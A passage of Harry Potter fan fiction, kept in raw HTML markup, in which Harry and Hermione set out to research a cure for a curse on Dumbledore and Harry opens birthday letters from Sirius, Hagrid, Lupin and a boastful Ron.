out.&#8221;</i> The image slowly retreated to the edge of her consciousness, and then it disappeared.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked quickly to Harry, and he nodded. Apparently, he had witnessed the entire conversation. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t look so freaked out Hermione. That was one of the biggest compliments you could ever receive.&#8221; He took her hand and led her back to the study. She seemed to come out of her shock once he closed the door.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can&#8217;t believe that I just spoke to Excalibur! It was amazing; I could feel the power inside it just from its voice!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry smiled. He had been pretty much the same way when it had first spoken to him, on that night long ago when he put an end to Voldemort. Unfortunately, he hadn&#8217;t been quick enough to stop the evil wizard from speaking one last curse at Dumbledore, before turning to deal with Harry. That reminded him.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He looked at Hermione, who had fallen silent as his expression turned sour.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I need your help.&#8221; He stated.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked at him. &#8220;With what Harry? Does it have something to do with all these books?&#8221; she asked.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you going to tell me or do I have to guess?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Remember the night I killed Voldemort?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She nodded and took a seat on the small couch. She had a feeling this wasn&#8217;t going to be good.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, while you and Ron were keeping the Death Eaters busy, and I was trying to get close to attack with the sword, Voldemort cast a very ancient spell on Dumbledore.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s eyes widened. &#8220;You mean that the reason Dumbledore went blind is because of that curse?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry nodded sadly. &#8220;Not just blind, he&#8217;s been going deaf too. And last word I had from him, his body is starting to waste away.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Her eyes full of tears, Hermione looked up at Harry. &#8220;What can I do to help?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He gestured at the books stacked everywhere. &#8220;It&#8217;s this, there&#8217;s so many books that have to be gone through, and there&#8217;s only one of me. I&#8217;ve been through maybe a quarter of them, and made notes on any curse that remotely sounds like the words I heard Voldemort say that night.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stood up and wrapped her arms around Harry&#8217;s middle. &#8220;We&#8217;ll find a cure Harry. I promise.&#8221; She tightened her hug. &#8220;The only spell without a counter spell is the killing curse, so we know right off that this curse has a cure somewhere, we just have to find it.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry returned her hug, and laid his head on top of hers. &#8220;I&#8217;m glad you&#8217;re here. I&#8217;ve been at this for the past three months.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why haven&#8217;t you asked for help before this?&#8221; she asked. &#8220;You know that I would have been here as soon as I got your owl.&#8221; Hermione frowned and looked up at Harry. &#8220;That is if I knew where here was.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry laughed. &#8220;I&#8217;m sorry, I forgot to tell you. This is the old Shrieking Shack in Hogsmeade.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re joking!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nope, bought it two years ago with some of the money I had made off Fred and George&#8217;s shop.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How did you make money Harry? Have you been endorsing their products like Ron has?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nope, I&#8217;m their silent partner. Remember that money I won off the Triwizard Tournament?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You didn&#8217;t!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I did. I figured some good should come of that money, so I gave it to Fred and George. They used it to open their first shop, and they send me a monthly check by owl for one thousand galleons. I go to <st1:city w:st="on"><st1:place w:st="on">London</st1:place></st1:city> every so often and withdraw some from Gringott&#8217;s.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m impressed.&#8221; She said.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t be. It keeps me comfortable, and out of the public view. You know that old saying, &#8220;out of sight, out of mind.&#8221; Well, it works great for me. I ditched my glasses, and grew my hair out even longer than before, and now nobody even recognizes me.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I was wondering when and why you grew this.&#8221; Hermione reached up and tugged on a tuft of shoulder length hair. &#8220;But speaking of public view, have you heard about Ron?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry turned away to hide a scowl. &#8220;No, I&#8217;ve owled him at least twice a month for the past six months, and have yet to hear back from him.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione caught the pain in Harry&#8217;s voice, and patted his shoulder. &#8220;Don&#8217;t feel bad, you can&#8217;t get him to write to you, and I can&#8217;t get him to stop writing me.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He spun around. &#8220;Why would you want him to stop writing you?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She sighed and sat back down. &#8220;Long story, and if you want to hear it I suggest you grab those two bottles off your desk.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry raised his hands, and the two bottles flew into his grasp. He took the paper off them both and opened them. He handed her one and sat next to her.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione watched the flying bottles with her mouth open in surprise. She closed her mouth, and took the proffered bottle. Taking a sip, she closed her eyes to gather her thoughts, then she started speaking.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I guess I&#8217;d have to say that it started about a year ago. You know two years ago he got recruited by the Cannons as their relief keeper, and he was so happy.&#8221; She opened her eyes and caught his nod. She took another drink, and continued. &#8220;Well, he and I spent a lot of time together while you were away, and we grew close. Very close. Then he went to training camp, and when he came back he was a little different, but not much and I ignored it for the most part. Then, I got an owl from him a month ago saying that he&#8217;s been nominated for MVP for the Cannons. He invited me to attend a team dinner, but I was just starting my book, and my mother was getting an award that night, so I told him I couldn&#8217;t make it. Not thinking on my part, I told him in person.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry winced in sympathy. &#8220;Ouch. I can imagine what he said to that.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, made me long for that fight after the Yule Ball,&#8221; she chuckled, &#8220;you&#8217;d have thought that I had suddenly revealed that I was carrying Malfoy&#8217;s baby, and that it was possessed by Voldemort from the way he carried on. I finally grew tired of his tirade, and Apparated home. Since then, he&#8217;s owled me constantly, begging me to take him back. Funny thing is, it never occurred to me that I had him. And after seeing the way he acts now that he&#8217;s in the spotlight, I don&#8217;t want him.&#8221; She took a long drink of butterbeer.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry shook his head. &#8220;Damn, I just knew fame would go to his head. I had always hoped it would be different, but deep down I had this feeling that he wouldn&#8217;t be able to handle it. How are his parents taking it?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was silent for a moment. &#8220;His dad and brothers are happy as can be, his mother is worried he&#8217;ll get hurt, and Ginny is depressed that he doesn&#8217;t visit as much as he used to.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I guess that&#8217;s why I haven&#8217;t heard back from him. He&#8217;s just too busy to answer letters from old friends. I thought about Apparating to his location and giving him a portkey like I did you so that he could visit me.&#8221; At his words, Hermione&#8217;s hand leaped up to clutch her pendant.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Please don&#8217;t tell Ron about this place, it&#8217;s the only place he can&#8217;t bother me!&#8221; She rubbed the pendant thoughtfully. &#8220;I thought this might be a portkey, but I&#8217;ve touched it constantly since you gave it to me, and even said your name while holding it and it never worked. Why did it work this time? And why isn&#8217;t it working now?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry smiled and explained. &#8220;It never worked before, because I didn&#8217;t allow it to work,&#8221; he grinned wickedly, &#8220;It&#8217;s not working now for the same reason.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione caressed the emerald teardrop pendant, and stared deep into Harry&#8217;s eyes. &#8220;What now?&#8221; she asked softly, her voice a trifle husky.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry&#8217;s gaze dropped from her eyes, he stared at where her hand played with the emerald. He couldn&#8217;t help himself, and he looked harder. His eyes glowed softly, and he watched her grow excited. With an incredible effort, he tore his gaze away and back up to her eyes. What he saw there did not help him any, but somehow he fought against the desire building inside him.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He stood up quickly, and turned his back to her while he regained control of himself. Taking a deep breath, he turned back to Hermione. She had managed to calm herself considerably too, and stared up at him in amazement.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8230;was&#8230;that?&#8221; She asked.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry blushed. That was the first time he had ever done that on accident. &#8220;Sorry, when I get excited or upset, my power can get a little out of hand.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione blushed. &#8220;It felt like you were touching me.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, sorry about that. What do you expect, I haven&#8217;t seen a girl in three months.&#8221; He rubbed the back of his neck self-consciously.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She smiled and shook her head.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So, where do I sleep while we&#8217;re doing all this research?&#8221; she asked, finally ending the moment. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He smiled, and bit his tongue before answering. &#8220;Leave this room, go to the bathroom, and take the door to the right. I&#8217;m the door on the left and we share the bathroom, so I suggest we either get comfortable with the sight of each other naked, or lock the door behind us. And NO <i>Alohamora</i>!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione giggled. She did have a way with that particular spell. She looked up at Harry and really took stock of him for the first time. As she had noted before, the glasses were gone, the hair was much longer, his jaw was covered by several day&#8217;s worth of stubble and he now towered over her by almost ten inches, where before he had only been about six inches taller than she was. &#8220;You&#8217;ve gotten taller, are you using growth spells?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, it&#8217;s just another growth spurt.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How tall are you now anyway?&#8221; she asked.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uhm&#8230;about 6&#8217;4&#8221; I think.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wow! You&#8217;re 4 inches taller than Ron now!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know, and I can&#8217;t wait to call him &#8220;midget.&#8221; Harry grinned at the thought. &#8220;Seriously now, you really don&#8217;t want me to tell him about this place?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s right Harry, I&#8217;m begging you not to tell anyone else about this! I really need a place where I can get away from everybody and write my book, but now that I know what you&#8217;ve been busy with my book will have to wait until we find a cure for Dumbledore.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry gave her a long, searching look. &#8220;Are you sure Hermione? I don&#8217;t want you to feel resentful that I&#8217;ve taken you from your book.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione walked right up to him, so close their bodies where touching when they breathed, and looked up into his face. &#8220;I&#8217;m sure Harry. I&#8217;ve already told McGonagall that I&#8217;m writing the book, and that I&#8217;ll be on sabbatical until it&#8217;s finished. She told me to take my time and make sure it&#8217;s done right, so I have all the time in the world to write the book, however from the way you&#8217;ve been working, I gather that Dumbledore doesn&#8217;t.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, he doesn&#8217;t. He&#8217;s using all his power to stay alive, and a lot of potions that make him sleep to fight death.&#8221; </p>\n\n<p>She looked more closely at him, and noticed the bags under his eyes, and the pallor of his skin. &#8220;When was the last time you slept Harry? Or had a decent meal?&#8221;</p>\n\n<p>&#8220;I can&#8217;t remember that last time I had a full night&#8217;s sleep, I go to bed, and an hour later I&#8217;m in here reading like crazy. I get tired, go to bed for another two or three hours, and here I am again, reading some more. Meal, what&#8217;s that? I&#8217;ve been living on soup, crackers and cheese, quick fixes that I can eat and read at the same time.&#8221;</p>\n\n<p>Hermione frowned. &#8220;Well, tonight you&#8217;re going to take a break from reading, I&#8217;m going to fix you a good hearty dinner, we&#8217;ll catch up some more, you&#8217;ll shower, and then you, Mr. Potter, are going to get eight hours of uninterrupted sleep! I will take over the reading until you&#8217;ve regained your strength. And I will hear no arguing about it! Is that clear?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry smiled. &#8220;God I&#8217;ve missed you! You are just what I&#8217;ve been needing, someone to MAKE me go to bed!&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She pushed him away lightly, &#8220;Oh, go on.&#8221; She walked over to the desk and looked down at the assorted books. &#8220;So what spell are we looking for?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The words I heard sounded like <i>Mortificare</i><i> Deteriorare.</i> Or something like that.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Her eyes widened in surprise. &#8220;The Wasting Death!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know of it?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes! I found mention of it when I was doing research over Hogwarts\' first years. There&#8217;s only one book in the world that mentions the actual spell and its cure, and that book disappeared 600 years ago!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you know the name of the book?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, the name has been lost for centuries. I just happened to stumble onto the name of the spell, and what it means. So we&#8217;ll have to continue reading and hope we find it mentioned again.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He wiped his forehead. &#8220;Whew! I was beginning to think that I had read all those books for nothing.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione laughed. &#8220;I bet.&#8221; She grabbed a book at random, walked over to the couch, and made herself comfortable. &#8220;Guess we better get started.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry took his book off his desk, seated himself beside her, and continued his reading. They read straight through the next few hours, and only looked up when Hedwig entered the room followed by a large Screech Owl, and a big Barn Owl. Hedwig carried two letters, and the other two had both letters and packages.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He set down his book in time to catch the letter and package dropped by the Barn Owl. He quickly handed them to Hermione, and caught the items carried by the Screech Owl. He directed both birds to a perch along the wall, where they could get some water and food. Hedwig landed between Harry and Hermione, and let her two letters fall from her beak. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione petted the haughty bird while Harry went through his letters. Three were to him, and one to Hermione. He opened the heaviest envelope first, inside was a piece of parchment and a Gringotts\' key.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>Harry,</i></p>\n\n<blockquote><i>Happy birthday.&nbsp; I have a few things to tell you and I&#8217;m not sure how to go about it.&nbsp; So, I&#8217;m going to just say it and I apologize for the shock it may cause you.</i></blockquote>\n\n<blockquote><i>Your parents left certain items in my care in case Voldemort did get to them.&nbsp; I regret not doing this sooner, however this is the first time I have been able to come to terms with it.&nbsp; I implore that you visit the vault when you are ready.&nbsp; Please do not rush into it, it is the main reason it has taken me this long to get their belongings to you.</i></blockquote>\n\n<blockquote><i>The enclosed key is to vault #219.&nbsp; In it, you will find your parents&#8217; belongings, which they wanted you to have.</i></blockquote>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></p> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius&nbsp;&nbsp; <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry felt himself getting all choked up while he read. Looking up, he caught Hermione&#8217;s concerned expression and wordlessly handed it to her.&nbsp; He recognized Hagrid&#8217;s untidy scrawl on one of the letters and opened it next.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>Harry,</i></p>\n\n<p><i></i></p>\n\n<blockquote><i>Happy Birthday!&nbsp; Haven&#8217;t seen you in awhile stop by and visit sometime, me and Fang miss you.&nbsp; Hope you enjoy the fudge.</i></blockquote>\n\n<p><i></i></p> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hagrid <blockquote><i>PS &#8211; You should see the animal for this years&#8217; Care of Magical Creatures</i><i>, he&#8217;s a beauty.</i></blockquote>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hagrid&#8217;s tastes were well known to them both, and they shuddered at the thought of what the animal might be.&nbsp; Harry opened the third letter and was great surprised to find that it was from Professor Lupin.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<blockquote><i>Harry,</i></blockquote>\n\n<p><i></i></p>\n\n<blockquote><i>Happy birthday.&nbsp; I know I&#8217;ve never given you anything before, however Sirius recently brought it to my attention, that if your parents lived I would be Uncle Remus.&nbsp; This present was given to me by your father, I have no use for it now since I have learned to control myself during my transformations.&nbsp; You may be able to put this to good use.</i></blockquote>\n\n<p><i></i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Remus (Uncle Moony)</i></p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry quickly yanked the paper off the more neatly wrapped box.&nbsp; He opened it and inside was a tightly woven coat of chain mail.&nbsp; He was surprised to note that it weighed next to nothing, and figured that it must be enchanted.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had waited until Harry had opened all his letters before looking at hers.&nbsp; When she recognized the writing, she grit her teeth in aggravation.&nbsp; She calmly removed the letter and read it aloud:</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>My Dearest Hermione,</i></p>\n\n<p><i></i></p>\n\n<blockquote><i>Why haven&#8217;t you been returning my owls?&nbsp; A lot has been going on with the Cannons, I&#8217;ve been elected MVP for the team again!&nbsp; The price of my rookie cards will definitely be increasing, make sure you buy some before they get too expensive.</i></blockquote>\n\n<blockquote><i>Now that you have had time to calm down from your fit since we last talked, I want you to come to my awards ceremony tonight.&nbsp; I&#8217;ll Apparate to your parents around 7, so be ready to go and make sure you look your best.</i></blockquote>\n\n<p><i></i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Love,</i></p>\n\n<p><i></i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MVP of the Chuddley Cannons</i></p>\n\n<p><i></i></p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione savagely tore the letter in two, and gestured at Harry with one of the pieces.&nbsp; &#8220;You see! You see what I&#8217;ve had to put up with!&#8221; She leaped to her feet startling a dozing Hedwig who screeched her annoyance. &#8220;The nerve of that boy! Expecting me to drop any plans that I might have to attend an awards ceremony with him!&nbsp; And I can&#8217;t believe he forgot today was your birthday!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked appalled at Ron&#8217;s impudence.&nbsp; &#8220;Wow, I see what you mean.&nbsp; He&#8217;s definitely got an attitude.&nbsp; I don&#8217;t blame you for trying to get away from him.&nbsp; Was I ever that bad?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione flopped back down causing Hedwig to take flight and seek a more peaceful environment in which to nap.&nbsp; She wadded up the torn letter and hurled it across the room.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He&#8217;s going to be at my house at 7,&#8221; she looked at a nearby clock, &#8220;I&#8217;ve got two hours to go home get packed and get back here, before he shows up.&#8221;&nbsp; Hermione said, leaping to her feet.&nbsp; She looked at Harry.&nbsp; &#8220;You have to send me back now, so I can get everything I need.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry nodded and stood up.&nbsp; He wrapped his hand around her pendant, ignoring their closeness, and whispered a spell.&nbsp; He released the necklace and 